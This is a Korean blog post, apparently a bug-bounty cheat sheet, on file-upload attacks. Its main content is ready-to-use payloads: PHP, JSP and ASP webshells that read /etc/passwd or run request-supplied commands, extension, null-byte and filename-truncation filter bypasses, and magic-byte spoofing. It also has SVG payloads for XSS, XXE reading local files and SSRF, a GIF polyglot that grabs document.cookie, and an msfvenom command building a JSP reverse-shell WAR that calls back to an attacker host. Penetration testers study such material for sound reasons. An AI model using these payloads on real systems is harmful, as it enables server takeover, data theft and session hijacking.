웹 공부 겸 버그바운티에서 사용할 용도로 포스팅 하나 해놓는다.
파일업로드는 확장자에 따라 할 수 있는 공격이 나뉘어진다.

차근차근 알아보도록 하자.
우선 중간중간 궁금한게 생기면 테스트 해보기 위해 dvwa 서버를 하나 띄워놨다.
- Docker dvwa 실행
docker pull vulnerables/web-dvwa
docker run -it --name dvwa -p 80:80 vulnerables/web-dvwa
localhost:80/setup.php 들어가서 Create/reset database 누르고 admin/password 치면 준비 완료!

서버도 띄웠으니 본격적으로 시작해보자!
> Webshell (php, Asp, Jsp)
1) 기본 웹쉘 코드
파일업로드는 주로 php, jsp, asp 파일을 올린다.
- php
<?php system("cat /etc/passwd"); ?>
- Jsp
<% Runtime.getRuntime().exec(request.getParameter("cmd")) %>
<html>
<h1>current time</h1>
<body>
<%= new java.util.date() %>
</body>
</html>
- Asp
<% eval request("cmd") %>
2) 기본 우회 방법
a) 확장자 변경
- php : .php3 .php4 .php5 .phtml .phps .pht 등 (.php2는 안됨)
- jsp : .jspx .jsw .jsv .jspf .wss .do .action 등
- asp : .aspx .config .ashx .asmx .aspq .axd .cshtm .cshtml .rem .soap .vbhtm .vbhtml .asa .cer 등
b) 대소문자 변경
.PHp .JsP .AsP .Php5 .aSpX 등
c) 확장자 여러개 사용
.jpg.php .jpg.php5 등
d) 확장자 끝에 특수 문자
.php%20 .php%0a .php%00 .php%0d%0a .php/ .php.\ .php.. 등
e) c와 d를 합쳐서 사용도 가능
.png.php .png.pHp5 .php%00.png .php\x00.png .php%0a.png .php%0d%0a.png .phpJunk123png
3) 심화 우회 방법
a) 파일 이름 제한으로 우회
리눅스의 파일명은 255자로 제한이 된다. 이를 이용하여 페이로드를 만든다.
하지만 최대가 255자이고 시스템에서 제한을 걸어두었을지도 모르기 때문에 적당히 길게 보내서 체크해보자.
만일 최대가 200자라면 200-4 해서 196길이의 파일이름을 만든다. (.php의 길이만큼 뺀다.)
["A"196개].php.png
그러면 확장자 체크는 .png로 되겠지만 최대길이 제한으로 인해 .php까지 밖에 안올라가서 악성파일이 업로드 된다.
b) 파일 시그니처로 우회
시그니처로 필터링 하는 곳도 있기 때문에 hxd로 파일의 앞 부분에 허용되는 확장자의 시그니처를 넣어준다.
| File Type | Header Signature | Footer Signature |
| JPEG | FF D8 FF E0 FF D8 FF E8 |
FF D9 |
| GIF | 47 49 46 38 37 61 47 49 46 38 39 61 |
00 3B |
| PNG | 89 50 4E 47 0D 0A 1A 0A | 49 45 4E 44 AE 42 60 82 |
| 25 50 44 46 2D 31 2E | 25 25 45 4F 46 | |
| ZIP | 50 4B 03 04 | 50 4B 05 06 |
| DOCX | 50 4B 03 04 14 00 06 00 | 50 4B 05 06 |
| ALZ | 41 4C 5A 01 | 43 4C 5A 02 |
> SVG (XSS, XXE, SSRF)
svg는 png, jpeg 와 같은 이미지 파일이라고 생각하면 된다.
1) XSS
svg 파일도 html처럼 Stored XSS를 발생시킬수 있다.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("xss");
</script>
</svg>
간단하게 이 파일을 xss_test.svg로 올려서 업로드 경로만 알수 있으면 된다.
2) XXE
XXE 도 XSS와 마찬가지로 .svg를 업로드하면 된다.
하지만 XXE는 성공 확률이 별로 없긴하다.
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
* XXE는 되지만 외부 엔티티 접근이 안되는 경우도 있음 하지만 내부 엔티티가 정상 처리되면 설정에 따라 XXE 기반의 정보노출, SSRF, DOS 공격등의 공격이 발생 가능
> 확인하는 방법은 아래 문구로 텍스트가 빨간색으로 정상적으로 나오면 성공
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe "TEST" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16" fill="red">&xxe;</text>
</svg>
3) SSRF
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="200" width="200" xlink:href="http://<EXAMPLE_SERVER>/image.jpeg" />
</svg>
파일 업로드 시 이름 test.png, Content-Type: image/svg+xml 설정하고 업로드.
파일업로드가 실패하더라도 웹에서 http://<EXAMPLE_SERVER>/image.jpeg를 참조하는 경우가 있다.
이미지 파일 밖에 못 가져온다라는 단점이 있어서 아래와 같은 방법으로 확인한다.
1. 시스템 내에 있을법한 사진파일 url (ex, /usr/share/doc/libpng12-dev/examples/pngtest.png이 존재한다 > libpng12-dev가 설치되어 있다.) 확인
2. 존재하지만 권한 상 볼 수 없는 이미지(ex, 다른사람의 프로필 이미지) url을 xlink:href에 넣어서 확인
> GIF (XSS)
GIF8
<html><script>alert(document.cookie);</script></html>
GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
> CSV (CSV Injection)
CSV Injection
점검했던 사이트에서 나왔던 취약점을 각색해서 쓰는 글입니다. - 발견 방법 사이트에서 CSV로 다운로드 할수 있는 페이지 발견, 다운로드 할 페이지에 =1+1 구문을 넣고 CSV 다운로드 시 셀에 2가
mise.tistory.com
> PDF (SSRF)
SSRF 발견하는 방법
SSRF... 이론적으로는 알고 있지만 실제 진단이나 버그바운티에서 SSRF를 찾기가 쉽지 않다. 하지만 이 글을 읽고 SSRF를 시도해보자! 1. SSRF Server-Side Request Forgery 의 약자로써 서버 측 요청 위조라고
mise.tistory.com
> 기타 파일
* .war 파일
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.2 LPORT=4444 -f war -o shell.war
* LHOST : 리버스쉘이 연결될 공격자 ip
* LPORT : 리버스쉘이 연결될 공격자 port
참고 및 출처 :
- 파일업로드
https://book.hacktricks.xyz/pentesting-web/file-upload
- dvwa 도커
https://hub.docker.com/r/vulnerables/web-dvwa
- svg ssrf
https://hackerone.com/reports/223203
- gif xss
https://github.com/0xspade/XSS-Gif-Payload/blob/master/XSS.gif
'WEB > 버그바운티 써먹기' 카테고리의 다른 글
| Json to xml 로 XXE 점검 (0) | 2022.05.06 |
|---|---|
| [Jira] Jira 사용 시 시도해 볼만한 CVE 취약점 들 (0) | 2022.03.27 |
| [AWS] AWS Cognito API 를 사용하여 사용자 계정 탈취 (0) | 2022.02.13 |
| [WordPress] WordPress xmlrpc.php 취약점 (0) | 2022.02.10 |
| [WordPress] WordPress REST API 취약점 (CVE-2017-1001000) (0) | 2021.12.24 |